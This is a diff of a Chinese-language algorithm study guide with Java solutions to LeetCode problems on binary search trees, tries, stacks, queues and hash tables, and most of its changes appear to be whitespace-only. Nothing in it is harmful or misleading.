-[235. Lowest Common Ancestor of a Binary Search Tree (Easy)](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/description/)
+[235. Lowest Common Ancestor of a Binary Search Tree (Easy)](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/description/)
 
 ```html
-        _______6______
-      /                \
-  ___2__             ___8__
- /      \           /      \
-0        4         7        9
-        /  \
-       3   5
+        _______6______
+      /                \
+  ___2__             ___8__
+ /      \           /      \
+0        4         7        9
+        /  \
+       3   5
 
-For example, the lowest common ancestor (LCA) of nodes 2 and 8 is 6. Another example is LCA of nodes 2 and 4 is 2, since a node can be a descendant of itself according to the LCA definition.
+For example, the lowest common ancestor (LCA) of nodes 2 and 8 is 6. Another example is LCA of nodes 2 and 4 is 2, since a node can be a descendant of itself according to the LCA definition.
 ```
 
 ```java
-public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
-    if (root.val > p.val && root.val > q.val) return lowestCommonAncestor(root.left, p, q);
-    if (root.val < p.val && root.val < q.val) return lowestCommonAncestor(root.right, p, q);
-    return root;
+public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
+    if (root.val > p.val && root.val > q.val) return lowestCommonAncestor(root.left, p, q);
+    if (root.val < p.val && root.val < q.val) return lowestCommonAncestor(root.right, p, q);
+    return root;
 }
 ```
 
-**二叉树的最近公共祖先**
+**二叉树的最近公共祖先** 
 
-[236. Lowest Common Ancestor of a Binary Tree (Medium) ](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/description/)
+[236. Lowest Common Ancestor of a Binary Tree (Medium) ](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/description/)
 
 ```html
-       _______3______
-      /              \
-  ___5__           ___1__
- /      \         /      \
-6        2       0        8
-        /  \
-       7    4
+       _______3______
+      /              \
+  ___5__           ___1__
+ /      \         /      \
+6        2       0        8
+        /  \
+       7    4
 
-For example, the lowest common ancestor (LCA) of nodes 5 and 1 is 3. Another example is LCA of nodes 5 and 4 is 5, since a node can be a descendant of itself according to the LCA definition.
+For example, the lowest common ancestor (LCA) of nodes 5 and 1 is 3. Another example is LCA of nodes 5 and 4 is 5, since a node can be a descendant of itself according to the LCA definition.
 ```
 
 ```java
-public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
-    if (root == null || root == p || root == q) return root;
-    TreeNode left = lowestCommonAncestor(root.left, p, q);
-    TreeNode right = lowestCommonAncestor(root.right, p, q);
-    return left == null ? right : right == null ? left : root;
+public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
+    if (root == null || root == p || root == q) return root;
+    TreeNode left = lowestCommonAncestor(root.left, p, q);
+    TreeNode right = lowestCommonAncestor(root.right, p, q);
+    return left == null ? right : right == null ? left : root;
 }
 ```
 
-**从有序数组中构造二叉查找树**
+**从有序数组中构造二叉查找树** 
 
-[108. Convert Sorted Array to Binary Search Tree (Easy)](https://leetcode.com/problems/convert-sorted-array-to-binary-search-tree/description/)
+[108. Convert Sorted Array to Binary Search Tree (Easy)](https://leetcode.com/problems/convert-sorted-array-to-binary-search-tree/description/)
 
 ```java
-public TreeNode sortedArrayToBST(int[] nums) {
-    return toBST(nums, 0, nums.length - 1);
+public TreeNode sortedArrayToBST(int[] nums) {
+    return toBST(nums, 0, nums.length - 1);
 }
 
-private TreeNode toBST(int[] nums, int sIdx, int eIdx){
-    if (sIdx > eIdx) return null;
-    int mIdx = (sIdx + eIdx) / 2;
-    TreeNode root = new TreeNode(nums[mIdx]);
-    root.left =  toBST(nums, sIdx, mIdx - 1);
-    root.right = toBST(nums, mIdx + 1, eIdx);
-    return root;
+private TreeNode toBST(int[] nums, int sIdx, int eIdx){
+    if (sIdx > eIdx) return null;
+    int mIdx = (sIdx + eIdx) / 2;
+    TreeNode root = new TreeNode(nums[mIdx]);
+    root.left =  toBST(nums, sIdx, mIdx - 1);
+    root.right = toBST(nums, mIdx + 1, eIdx);
+    return root;
 }
 ```
 
-**根据有序链表构造平衡的二叉查找树**
+**根据有序链表构造平衡的二叉查找树** 
 
-[109. Convert Sorted List to Binary Search Tree (Medium)](https://leetcode.com/problems/convert-sorted-list-to-binary-search-tree/description/)
+[109. Convert Sorted List to Binary Search Tree (Medium)](https://leetcode.com/problems/convert-sorted-list-to-binary-search-tree/description/)
 
 ```html
-Given the sorted linked list: [-10,-3,0,5,9],
+Given the sorted linked list: [-10,-3,0,5,9],
 
-One possible answer is: [0,-3,9,-10,null,5], which represents the following height balanced BST:
+One possible answer is: [0,-3,9,-10,null,5], which represents the following height balanced BST:
 
-      0
-     / \
-   -3   9
-   /   /
- -10  5
+      0
+     / \
+   -3   9
+   /   /
+ -10  5
 ```
 
 ```java
-public TreeNode sortedListToBST(ListNode head) {
-    if (head == null) return null;
-    if (head.next == null) return new TreeNode(head.val);
-    ListNode preMid = preMid(head);
-    ListNode mid = preMid.next;
-    preMid.next = null;  // 断开链表
-    TreeNode t = new TreeNode(mid.val);
-    t.left = sortedListToBST(head);
-    t.right = sortedListToBST(mid.next);
-    return t;
+public TreeNode sortedListToBST(ListNode head) {
+    if (head == null) return null;
+    if (head.next == null) return new TreeNode(head.val);
+    ListNode preMid = preMid(head);
+    ListNode mid = preMid.next;
+    preMid.next = null;  // 断开链表
+    TreeNode t = new TreeNode(mid.val);
+    t.left = sortedListToBST(head);
+    t.right = sortedListToBST(mid.next);
+    return t;
 }
 
-private ListNode preMid(ListNode head) {
-    ListNode slow = head, fast = head.next;
-    ListNode pre = head;
-    while (fast != null && fast.next != null) {
-        pre = slow;
-        slow = slow.next;
-        fast = fast.next.next;
-    }
-    return pre;
+private ListNode preMid(ListNode head) {
+    ListNode slow = head, fast = head.next;
+    ListNode pre = head;
+    while (fast != null && fast.next != null) {
+        pre = slow;
+        slow = slow.next;
+        fast = fast.next.next;
+    }
+    return pre;
 }
 ```
 
-**在二叉查找树中寻找两个节点，使它们的和为一个给定值**
+**在二叉查找树中寻找两个节点，使它们的和为一个给定值** 
 
-[653. Two Sum IV - Input is a BST (Easy)](https://leetcode.com/problems/two-sum-iv-input-is-a-bst/description/)
+[653. Two Sum IV - Input is a BST (Easy)](https://leetcode.com/problems/two-sum-iv-input-is-a-bst/description/)
 
 ```html
 Input:
 
-    5
-   / \
-  3   6
- / \   \
-2   4   7
+    5
+   / \
+  3   6
+ / \   \
+2   4   7
 
-Target = 9
+Target = 9
 
-Output: True
+Output: True
 ```
 
 使用中序遍历得到有序数组之后，再利用双指针对数组进行查找。
@@ -5127,39 +5183,39 @@ Output: True
 应该注意到，这一题不能用分别在左右子树两部分来处理这种思想，因为两个待求的节点可能分别在左右子树中。
 
 ```java
-public boolean findTarget(TreeNode root, int k) {
-    List<Integer> nums = new ArrayList<>();
-    inOrder(root, nums);
-    int i = 0, j = nums.size() - 1;
-    while (i < j) {
-        int sum = nums.get(i) + nums.get(j);
-        if (sum == k) return true;
-        if (sum < k) i++;
-        else j--;
-    }
-    return false;
+public boolean findTarget(TreeNode root, int k) {
+    List<Integer> nums = new ArrayList<>();
+    inOrder(root, nums);
+    int i = 0, j = nums.size() - 1;
+    while (i < j) {
+        int sum = nums.get(i) + nums.get(j);
+        if (sum == k) return true;
+        if (sum < k) i++;
+        else j--;
+    }
+    return false;
 }
 
-private void inOrder(TreeNode root, List<Integer> nums) {
-    if (root == null) return;
-    inOrder(root.left, nums);
-    nums.add(root.val);
-    inOrder(root.right, nums);
+private void inOrder(TreeNode root, List<Integer> nums) {
+    if (root == null) return;
+    inOrder(root.left, nums);
+    nums.add(root.val);
+    inOrder(root.right, nums);
 }
 ```
 
-**在二叉查找树中查找两个节点之差的最小绝对值**
+**在二叉查找树中查找两个节点之差的最小绝对值** 
 
-[530. Minimum Absolute Difference in BST (Easy)](https://leetcode.com/problems/minimum-absolute-difference-in-bst/description/)
+[530. Minimum Absolute Difference in BST (Easy)](https://leetcode.com/problems/minimum-absolute-difference-in-bst/description/)
 
 ```html
 Input:
 
-   1
-    \
-     3
-    /
-   2
+   1
+    \
+     3
+    /
+   2
 
 Output:
 
@@ -5169,1251 +5225,1251 @@ Output:
 利用二叉查找树的中序遍历为有序的性质，计算中序遍历中临近的两个节点之差的绝对值，取最小值。
 
 ```java
-private int minDiff = Integer.MAX_VALUE;
-private TreeNode preNode = null;
+private int minDiff = Integer.MAX_VALUE;
+private TreeNode preNode = null;
 
-public int getMinimumDifference(TreeNode root) {
-    inOrder(root);
-    return minDiff;
+public int getMinimumDifference(TreeNode root) {
+    inOrder(root);
+    return minDiff;
 }
 
-private void inOrder(TreeNode node) {
-    if (node == null) return;
-    inOrder(node.left);
-    if (preNode != null) minDiff = Math.min(minDiff, node.val - preNode.val);
-    preNode = node;
-    inOrder(node.right);
+private void inOrder(TreeNode node) {
+    if (node == null) return;
+    inOrder(node.left);
+    if (preNode != null) minDiff = Math.min(minDiff, node.val - preNode.val);
+    preNode = node;
+    inOrder(node.right);
 }
 ```
 
-**寻找二叉查找树中出现次数最多的值**
+**寻找二叉查找树中出现次数最多的值** 
 
-[501. Find Mode in Binary Search Tree (Easy)](https://leetcode.com/problems/find-mode-in-binary-search-tree/description/)
+[501. Find Mode in Binary Search Tree (Easy)](https://leetcode.com/problems/find-mode-in-binary-search-tree/description/)
 
 ```html
-   1
-    \
-     2
-    /
-   2
+   1
+    \
+     2
+    /
+   2
 
-return [2].
+return [2].
 ```
 
 答案可能不止一个，也就是有多个值出现的次数一样多。
 
 ```java
-private int curCnt = 1;
-private int maxCnt = 1;
-private TreeNode preNode = null;
+private int curCnt = 1;
+private int maxCnt = 1;
+private TreeNode preNode = null;
 
-public int[] findMode(TreeNode root) {
-    List<Integer> maxCntNums = new ArrayList<>();
-    inOrder(root, maxCntNums);
-    int[] ret = new int[maxCntNums.size()];
-    int idx = 0;
-    for (int num : maxCntNums) {
-        ret[idx++] = num;
-    }
-    return ret;
+public int[] findMode(TreeNode root) {
+    List<Integer> maxCntNums = new ArrayList<>();
+    inOrder(root, maxCntNums);
+    int[] ret = new int[maxCntNums.size()];
+    int idx = 0;
+    for (int num : maxCntNums) {
+        ret[idx++] = num;
+    }
+    return ret;
 }
 
-private void inOrder(TreeNode node, List<Integer> nums) {
-    if (node == null) return;
-    inOrder(node.left, nums);
-    if (preNode != null) {
-        if (preNode.val == node.val) curCnt++;
-        else curCnt = 1;
-    }
-    if (curCnt > maxCnt) {
-        maxCnt = curCnt;
-        nums.clear();
-        nums.add(node.val);
-    } else if (curCnt == maxCnt) {
-        nums.add(node.val);
-    }
-    preNode = node;
-    inOrder(node.right, nums);
+private void inOrder(TreeNode node, List<Integer> nums) {
+    if (node == null) return;
+    inOrder(node.left, nums);
+    if (preNode != null) {
+        if (preNode.val == node.val) curCnt++;
+        else curCnt = 1;
+    }
+    if (curCnt > maxCnt) {
+        maxCnt = curCnt;
+        nums.clear();
+        nums.add(node.val);
+    } else if (curCnt == maxCnt) {
+        nums.add(node.val);
+    }
+    preNode = node;
+    inOrder(node.right, nums);
 }
 ```
 
-### Trie
+### Trie
 
-![](index_files/5c638d59-d4ae-4ba4-ad44-80bdc30f38dd.jpg)
+<div align="center"> <img src="pics/5c638d59-d4ae-4ba4-ad44-80bdc30f38dd.jpg"/> </div><br>
 
 Trie，又称前缀树或字典树，用于判断字符串是否存在或者是否具有某种字符串前缀。
 
-**实现一个 Trie**
+**实现一个 Trie** 
 
-[208. Implement Trie (Prefix Tree) (Medium)](https://leetcode.com/problems/implement-trie-prefix-tree/description/)
+[208. Implement Trie (Prefix Tree) (Medium)](https://leetcode.com/problems/implement-trie-prefix-tree/description/)
 
 ```java
-class Trie {
+class Trie {
 
-    private class Node {
-        Node[] childs = new Node[26];
-        boolean isLeaf;
-    }
+    private class Node {
+        Node[] childs = new Node[26];
+        boolean isLeaf;
+    }
 
-    private Node root = new Node();
+    private Node root = new Node();
 
-    public Trie() {
-    }
+    public Trie() {
+    }
 
-    public void insert(String word) {
-        insert(word, root);
-    }
+    public void insert(String word) {
+        insert(word, root);
+    }
 
-    private void insert(String word, Node node) {
-        if (node == null) return;
-        if (word.length() == 0) {
-            node.isLeaf = true;
-            return;
-        }
-        int index = indexForChar(word.charAt(0));
-        if (node.childs[index] == null) {
-            node.childs[index] = new Node();
-        }
-        insert(word.substring(1), node.childs[index]);
-    }
+    private void insert(String word, Node node) {
+        if (node == null) return;
+        if (word.length() == 0) {
+            node.isLeaf = true;
+            return;
+        }
+        int index = indexForChar(word.charAt(0));
+        if (node.childs[index] == null) {
+            node.childs[index] = new Node();
+        }
+        insert(word.substring(1), node.childs[index]);
+    }
 
-    public boolean search(String word) {
-        return search(word, root);
-    }
+    public boolean search(String word) {
+        return search(word, root);
+    }
 
-    private boolean search(String word, Node node) {
-        if (node == null) return false;
-        if (word.length() == 0) return node.isLeaf;
-        int index = indexForChar(word.charAt(0));
-        return search(word.substring(1), node.childs[index]);
-    }
+    private boolean search(String word, Node node) {
+        if (node == null) return false;
+        if (word.length() == 0) return node.isLeaf;
+        int index = indexForChar(word.charAt(0));
+        return search(word.substring(1), node.childs[index]);
+    }
 
-    public boolean startsWith(String prefix) {
-        return startWith(prefix, root);
-    }
+    public boolean startsWith(String prefix) {
+        return startWith(prefix, root);
+    }
 
-    private boolean startWith(String prefix, Node node) {
-        if (node == null) return false;
-        if (prefix.length() == 0) return true;
-        int index = indexForChar(prefix.charAt(0));
-        return startWith(prefix.substring(1), node.childs[index]);
-    }
+    private boolean startWith(String prefix, Node node) {
+        if (node == null) return false;
+        if (prefix.length() == 0) return true;
+        int index = indexForChar(prefix.charAt(0));
+        return startWith(prefix.substring(1), node.childs[index]);
+    }
 
-    private int indexForChar(char c) {
-        return c - 'a';
-    }
+    private int indexForChar(char c) {
+        return c - 'a';
+    }
 }
 ```
 
-**实现一个 Trie，用来求前缀和**
+**实现一个 Trie，用来求前缀和** 
 
-[677. Map Sum Pairs (Medium)](https://leetcode.com/problems/map-sum-pairs/description/)
+[677. Map Sum Pairs (Medium)](https://leetcode.com/problems/map-sum-pairs/description/)
 
 ```html
-Input: insert("apple", 3), Output: Null
-Input: sum("ap"), Output: 3
-Input: insert("app", 2), Output: Null
-Input: sum("ap"), Output: 5
+Input: insert("apple", 3), Output: Null
+Input: sum("ap"), Output: 3
+Input: insert("app", 2), Output: Null
+Input: sum("ap"), Output: 5
 ```
 
 ```java
-class MapSum {
+class MapSum {
 
-    private class Node {
-        Node[] child = new Node[26];
-        int value;
-    }
+    private class Node {
+        Node[] child = new Node[26];
+        int value;
+    }
 
-    private Node root = new Node();
+    private Node root = new Node();
 
-    public MapSum() {
+    public MapSum() {
 
-    }
+    }
 
-    public void insert(String key, int val) {
-        insert(key, root, val);
-    }
+    public void insert(String key, int val) {
+        insert(key, root, val);
+    }
 
-    private void insert(String key, Node node, int val) {
-        if (node == null) return;
-        if (key.length() == 0) {
-            node.value = val;
-            return;
-        }
-        int index = indexForChar(key.charAt(0));
-        if (node.child[index] == null) {
-            node.child[index] = new Node();
-        }
-        insert(key.substring(1), node.child[index], val);
-    }
+    private void insert(String key, Node node, int val) {
+        if (node == null) return;
+        if (key.length() == 0) {
+            node.value = val;
+            return;
+        }
+        int index = indexForChar(key.charAt(0));
+        if (node.child[index] == null) {
+            node.child[index] = new Node();
+        }
+        insert(key.substring(1), node.child[index], val);
+    }
 
-    public int sum(String prefix) {
-        return sum(prefix, root);
-    }
+    public int sum(String prefix) {
+        return sum(prefix, root);
+    }
 
-    private int sum(String prefix, Node node) {
-        if (node == null) return 0;
-        if (prefix.length() != 0) {
-            int index = indexForChar(prefix.charAt(0));
-            return sum(prefix.substring(1), node.child[index]);
-        }
-        int sum = node.value;
-        for (Node child : node.child) {
-            sum += sum(prefix, child);
-        }
-        return sum;
-    }
+    private int sum(String prefix, Node node) {
+        if (node == null) return 0;
+        if (prefix.length() != 0) {
+            int index = indexForChar(prefix.charAt(0));
+            return sum(prefix.substring(1), node.child[index]);
+        }
+        int sum = node.value;
+        for (Node child : node.child) {
+            sum += sum(prefix, child);
+        }
+        return sum;
+    }
 
-    private int indexForChar(char c) {
-        return c - 'a';
-    }
+    private int indexForChar(char c) {
+        return c - 'a';
+    }
 }
 ```
 
 
-## 栈和队列
+## 栈和队列
 
-**用栈实现队列**
+**用栈实现队列** 
 
-[232. Implement Queue using Stacks (Easy)](https://leetcode.com/problems/implement-queue-using-stacks/description/)
+[232. Implement Queue using Stacks (Easy)](https://leetcode.com/problems/implement-queue-using-stacks/description/)
 
 栈的顺序为后进先出，而队列的顺序为先进先出。使用两个栈实现队列，一个元素需要经过两个栈才能出队列，在经过第一个栈时元素顺序被反转，经过第二个栈时再次被反转，此时就是先进先出顺序。
 
 ```java
-class MyQueue {
+class MyQueue {
 
-    private Stack<Integer> in = new Stack<>();
-    private Stack<Integer> out = new Stack<>();
+    private Stack<Integer> in = new Stack<>();
+    private Stack<Integer> out = new Stack<>();
 
-    public void push(int x) {
-        in.push(x);
-    }
+    public void push(int x) {
+        in.push(x);
+    }
 
-    public int pop() {
-        in2out();
-        return out.pop();
-    }
+    public int pop() {
+        in2out();
+        return out.pop();
+    }
 
-    public int peek() {
-        in2out();
-        return out.peek();
-    }
+    public int peek() {
+        in2out();
+        return out.peek();
+    }
 
-    private void in2out() {
-        if (out.isEmpty()) {
-            while (!in.isEmpty()) {
-                out.push(in.pop());
-            }
-        }
-    }
+    private void in2out() {
+        if (out.isEmpty()) {
+            while (!in.isEmpty()) {
+                out.push(in.pop());
+            }
+        }
+    }
 
-    public boolean empty() {
-        return in.isEmpty() && out.isEmpty();
-    }
+    public boolean empty() {
+        return in.isEmpty() && out.isEmpty();
+    }
 }
 ```
 
-**用队列实现栈**
+**用队列实现栈** 
 
-[225. Implement Stack using Queues (Easy)](https://leetcode.com/problems/implement-stack-using-queues/description/)
+[225. Implement Stack using Queues (Easy)](https://leetcode.com/problems/implement-stack-using-queues/description/)
 
-在将一个元素 x 插入队列时，为了维护原来的后进先出顺序，需要让 x 插入队列首部。而队列的默认插入顺序是队列尾部，因此在将 x 插入队列尾部之后，需要让除了 x 之外的所有元素出队列，再入队列。
+在将一个元素 x 插入队列时，为了维护原来的后进先出顺序，需要让 x 插入队列首部。而队列的默认插入顺序是队列尾部，因此在将 x 插入队列尾部之后，需要让除了 x 之外的所有元素出队列，再入队列。
 
 ```java
-class MyStack {
+class MyStack {
 
-    private Queue<Integer> queue;
+    private Queue<Integer> queue;
 
-    public MyStack() {
-        queue = new LinkedList<>();
-    }
+    public MyStack() {
+        queue = new LinkedList<>();
+    }
 
-    public void push(int x) {
-        queue.add(x);
-        int cnt = queue.size();
-        while (cnt-- > 1) {
-            queue.add(queue.poll());
-        }
-    }
+    public void push(int x) {
+        queue.add(x);
+        int cnt = queue.size();
+        while (cnt-- > 1) {
+            queue.add(queue.poll());
+        }
+    }
 
-    public int pop() {
-        return queue.remove();
-    }
+    public int pop() {
+        return queue.remove();
+    }
 
-    public int top() {
-        return queue.peek();
-    }
+    public int top() {
+        return queue.peek();
+    }
 
-    public boolean empty() {
-        return queue.isEmpty();
-    }
+    public boolean empty() {
+        return queue.isEmpty();
+    }
 }
 ```
 
-**最小值栈**
+**最小值栈** 
 
-[155. Min Stack (Easy)](https://leetcode.com/problems/min-stack/description/)
+[155. Min Stack (Easy)](https://leetcode.com/problems/min-stack/description/)
 
 ```java
-class MinStack {
+class MinStack {
 
-    private Stack<Integer> dataStack;
-    private Stack<Integer> minStack;
-    private int min;
+    private Stack<Integer> dataStack;
+    private Stack<Integer> minStack;
+    private int min;
 
-    public MinStack() {
-        dataStack = new Stack<>();
-        minStack = new Stack<>();
-        min = Integer.MAX_VALUE;
-    }
+    public MinStack() {
+        dataStack = new Stack<>();
+        minStack = new Stack<>();
+        min = Integer.MAX_VALUE;
+    }
 
-    public void push(int x) {
-        dataStack.add(x);
-        min = Math.min(min, x);
-        minStack.add(min);
-    }
+    public void push(int x) {
+        dataStack.add(x);
+        min = Math.min(min, x);
+        minStack.add(min);
+    }
 
-    public void pop() {
-        dataStack.pop();
-        minStack.pop();
-        min = minStack.isEmpty() ? Integer.MAX_VALUE : minStack.peek();
-    }
+    public void pop() {
+        dataStack.pop();
+        minStack.pop();
+        min = minStack.isEmpty() ? Integer.MAX_VALUE : minStack.peek();
+    }
 
-    public int top() {
-        return dataStack.peek();
-    }
+    public int top() {
+        return dataStack.peek();
+    }
 
-    public int getMin() {
-        return minStack.peek();
-    }
+    public int getMin() {
+        return minStack.peek();
+    }
 }
 ```
 
-对于实现最小值队列问题，可以先将队列使用栈来实现，然后就将问题转换为最小值栈，这个问题出现在 编程之美：3.7。
+对于实现最小值队列问题，可以先将队列使用栈来实现，然后就将问题转换为最小值栈，这个问题出现在 编程之美：3.7。
 
-**用栈实现括号匹配**
+**用栈实现括号匹配** 
 
-[20. Valid Parentheses (Easy)](https://leetcode.com/problems/valid-parentheses/description/)
+[20. Valid Parentheses (Easy)](https://leetcode.com/problems/valid-parentheses/description/)
 
 ```html
 "()[]{}"
 
-Output : true
+Output : true
 ```
 
 ```java
-public boolean isValid(String s) {
-    Stack<Character> stack = new Stack<>();
-    for (char c : s.toCharArray()) {
-        if (c == '(' || c == '{' || c == '[') {
-            stack.push(c);
-        } else {
-            if (stack.isEmpty()) {
-                return false;
-            }
-            char cStack = stack.pop();
-            boolean b1 = c == ')' && cStack != '(';
-            boolean b2 = c == ']' && cStack != '[';
-            boolean b3 = c == '}' && cStack != '{';
-            if (b1 || b2 || b3) {
-                return false;
-            }
-        }
-    }
-    return stack.isEmpty();
+public boolean isValid(String s) {
+    Stack<Character> stack = new Stack<>();
+    for (char c : s.toCharArray()) {
+        if (c == '(' || c == '{' || c == '[') {
+            stack.push(c);
+        } else {
+            if (stack.isEmpty()) {
+                return false;
+            }
+            char cStack = stack.pop();
+            boolean b1 = c == ')' && cStack != '(';
+            boolean b2 = c == ']' && cStack != '[';
+            boolean b3 = c == '}' && cStack != '{';
+            if (b1 || b2 || b3) {
+                return false;
+            }
+        }
+    }
+    return stack.isEmpty();
 }
 ```
 
-**数组中元素与下一个比它大的元素之间的距离**
+**数组中元素与下一个比它大的元素之间的距离** 
 
-[739. Daily Temperatures (Medium)](https://leetcode.com/problems/daily-temperatures/description/)
+[739. Daily Temperatures (Medium)](https://leetcode.com/problems/daily-temperatures/description/)
 
 ```html
-Input: [73, 74, 75, 71, 69, 72, 76, 73]
-Output: [1, 1, 4, 2, 1, 1, 0, 0]
+Input: [73, 74, 75, 71, 69, 72, 76, 73]
+Output: [1, 1, 4, 2, 1, 1, 0, 0]
 ```
 
 在遍历数组时用栈把数组中的数存起来，如果当前遍历的数比栈顶元素来的大，说明栈顶元素的下一个比它大的数就是当前元素。
 
 ```java
-public int[] dailyTemperatures(int[] temperatures) {
-    int n = temperatures.length;
-    int[] dist = new int[n];
-    Stack<Integer> indexs = new Stack<>();
-    for (int curIndex = 0; curIndex < n; curIndex++) {
-        while (!indexs.isEmpty() && temperatures[curIndex] > temperatures[indexs.peek()]) {
-            int preIndex = indexs.pop();
-            dist[preIndex] = curIndex - preIndex;
-        }
-        indexs.add(curIndex);
-    }
-    return dist;
+public int[] dailyTemperatures(int[] temperatures) {
+    int n = temperatures.length;
+    int[] dist = new int[n];
+    Stack<Integer> indexs = new Stack<>();
+    for (int curIndex = 0; curIndex < n; curIndex++) {
+        while (!indexs.isEmpty() && temperatures[curIndex] > temperatures[indexs.peek()]) {
+            int preIndex = indexs.pop();
+            dist[preIndex] = curIndex - preIndex;
+        }
+        indexs.add(curIndex);
+    }
+    return dist;
 }
 ```
 
-**循环数组中比当前元素大的下一个元素**
+**循环数组中比当前元素大的下一个元素** 
 
-[503. Next Greater Element II (Medium)](https://leetcode.com/problems/next-greater-element-ii/description/)
+[503. Next Greater Element II (Medium)](https://leetcode.com/problems/next-greater-element-ii/description/)
 
 ```text
-Input: [1,2,1]
-Output: [2,-1,2]
-Explanation: The first 1's next greater number is 2;
-The number 2 can't find next greater number;
-The second 1's next greater number needs to search circularly, which is also 2.
+Input: [1,2,1]
+Output: [2,-1,2]
+Explanation: The first 1's next greater number is 2;
+The number 2 can't find next greater number;
+The second 1's next greater number needs to search circularly, which is also 2.
 ```
 
-与 739. Daily Temperatures (Medium) 不同的是，数组是循环数组，并且最后要求的不是距离而是下一个元素。
+与 739. Daily Temperatures (Medium) 不同的是，数组是循环数组，并且最后要求的不是距离而是下一个元素。
 
 ```java
-public int[] nextGreaterElements(int[] nums) {
-    int n = nums.length;
-    int[] next = new int[n];
-    Arrays.fill(next, -1);
-    Stack<Integer> pre = new Stack<>();
-    for (int i = 0; i < n * 2; i++) {
-        int num = nums[i % n];
-        while (!pre.isEmpty() && nums[pre.peek()] < num) {
-            next[pre.pop()] = num;
-        }
-        if (i < n){
-            pre.push(i);
-        }
-    }
-    return next;
+public int[] nextGreaterElements(int[] nums) {
+    int n = nums.length;
+    int[] next = new int[n];
+    Arrays.fill(next, -1);
+    Stack<Integer> pre = new Stack<>();
+    for (int i = 0; i < n * 2; i++) {
+        int num = nums[i % n];
+        while (!pre.isEmpty() && nums[pre.peek()] < num) {
+            next[pre.pop()] = num;
+        }
+        if (i < n){
+            pre.push(i);
+        }
+    }
+    return next;
 }
 ```
 
-## 哈希表
+## 哈希表
 
-哈希表使用 O(N) 空间复杂度存储数据，并且以 O(1) 时间复杂度求解问题。
+哈希表使用 O(N) 空间复杂度存储数据，并且以 O(1) 时间复杂度求解问题。
 
-- Java 中的 **HashSet** 用于存储一个集合，可以查找元素是否在集合中。如果元素有穷，并且范围不大，那么可以用一个布尔数组来存储一个元素是否存在。例如对于只有小写字符的元素，就可以用一个长度为 26 的布尔数组来存储一个字符集合，使得空间复杂度降低为 O(1)。
+- Java 中的  **HashSet**  用于存储一个集合，可以查找元素是否在集合中。如果元素有穷，并且范围不大，那么可以用一个布尔数组来存储一个元素是否存在。例如对于只有小写字符的元素，就可以用一个长度为 26 的布尔数组来存储一个字符集合，使得空间复杂度降低为 O(1)。
 
-- Java 中的 **HashMap** 主要用于映射关系，从而把两个元素联系起来。HashMap 也可以用来对元素进行计数统计，此时键为元素，值为计数。和 HashSet 类似，如果元素有穷并且范围不大，可以用整型数组来进行统计。在对一个内容进行压缩或者其它转换时，利用 HashMap 可以把原始内容和转换后的内容联系起来。例如在一个简化 url 的系统中 [Leetcdoe : 535. Encode and Decode TinyURL (Medium)](https://leetcode.com/problems/encode-and-decode-tinyurl/description/)，利用 HashMap 就可以存储精简后的 url 到原始 url 的映射，使得不仅可以显示简化的 url，也可以根据简化的 url 得到原始 url 从而定位到正确的资源。
+- Java 中的  **HashMap**  主要用于映射关系，从而把两个元素联系起来。HashMap 也可以用来对元素进行计数统计，此时键为元素，值为计数。和 HashSet 类似，如果元素有穷并且范围不大，可以用整型数组来进行统计。在对一个内容进行压缩或者其它转换时，利用 HashMap 可以把原始内容和转换后的内容联系起来。例如在一个简化 url 的系统中 [Leetcdoe : 535. Encode and Decode TinyURL (Medium)](https://leetcode.com/problems/encode-and-decode-tinyurl/description/)，利用 HashMap 就可以存储精简后的 url 到原始 url 的映射，使得不仅可以显示简化的 url，也可以根据简化的 url 得到原始 url 从而定位到正确的资源。
 
 
-**数组中两个数的和为给定值**
+**数组中两个数的和为给定值** 
 
-[1. Two Sum (Easy)](https://leetcode.com/problems/two-sum/description/)
+[1. Two Sum (Easy)](https://leetcode.com/problems/two-sum/description/)
 
-可以先对数组进行排序，然后使用双指针方法或者二分查找方法。这样做的时间复杂度为 O(NlogN)，空间复杂度为 O(1)。
+可以先对数组进行排序，然后使用双指针方法或者二分查找方法。这样做的时间复杂度为 O(NlogN)，空间复杂度为 O(1)。
 
-用 HashMap 存储数组元素和索引的映射，在访问到 nums[i] 时，判断 HashMap 中是否存在 target - nums[i]，如果存在说明 target - nums[i] 所在的索引和 i 就是要找的两个数。该方法的时间复杂度为 O(N)，空间复杂度为 O(N)，使用空间来换取时间。
+用 HashMap 存储数组元素和索引的映射，在访问到 nums[i] 时，判断 HashMap 中是否存在 target - nums[i]，如果存在说明 target - nums[i] 所在的索引和 i 就是要找的两个数。该方法的时间复杂度为 O(N)，空间复杂度为 O(N)，使用空间来换取时间。
 
 ```java
-public int[] twoSum(int[] nums, int target) {
-    HashMap<Integer, Integer> indexForNum = new HashMap<>();
-    for (int i = 0; i < nums.length; i++) {
-        if (indexForNum.containsKey(target - nums[i])) {
-            return new int[]{indexForNum.get(target - nums[i]), i};
-        } else {
-            indexForNum.put(nums[i], i);
-        }
-    }
-    return null;
+public int[] twoSum(int[] nums, int target) {
+    HashMap<Integer, Integer> indexForNum = new HashMap<>();
+    for (int i = 0; i < nums.length; i++) {
+        if (indexForNum.containsKey(target - nums[i])) {
+            return new int[]{indexForNum.get(target - nums[i]), i};
+        } else {
+            indexForNum.put(nums[i], i);
+        }
+    }
+    return null;
 }
 ```
 
-**判断数组是否含有重复元素**
+**判断数组是否含有重复元素** 
 
-[217. Contains Duplicate (Easy)](https://leetcode.com/problems/contains-duplicate/description/)
+[217. Contains Duplicate (Easy)](https://leetcode.com/problems/contains-duplicate/description/)
 
 ```java
-public boolean containsDuplicate(int[] nums) {
-    Set<Integer> set = new HashSet<>();
-    for (int num : nums) {
-        set.add(num);
-    }
-    return set.size() < nums.length;
+public boolean containsDuplicate(int[] nums) {
+    Set<Integer> set = new HashSet<>();
+    for (int num : nums) {
+        set.add(num);
+    }
+    return set.size() < nums.length;
 }
 ```
 
-**最长和谐序列**
+**最长和谐序列** 
 
-[594. Longest Harmonious Subsequence (Easy)](https://leetcode.com/problems/longest-harmonious-subsequence/description/)
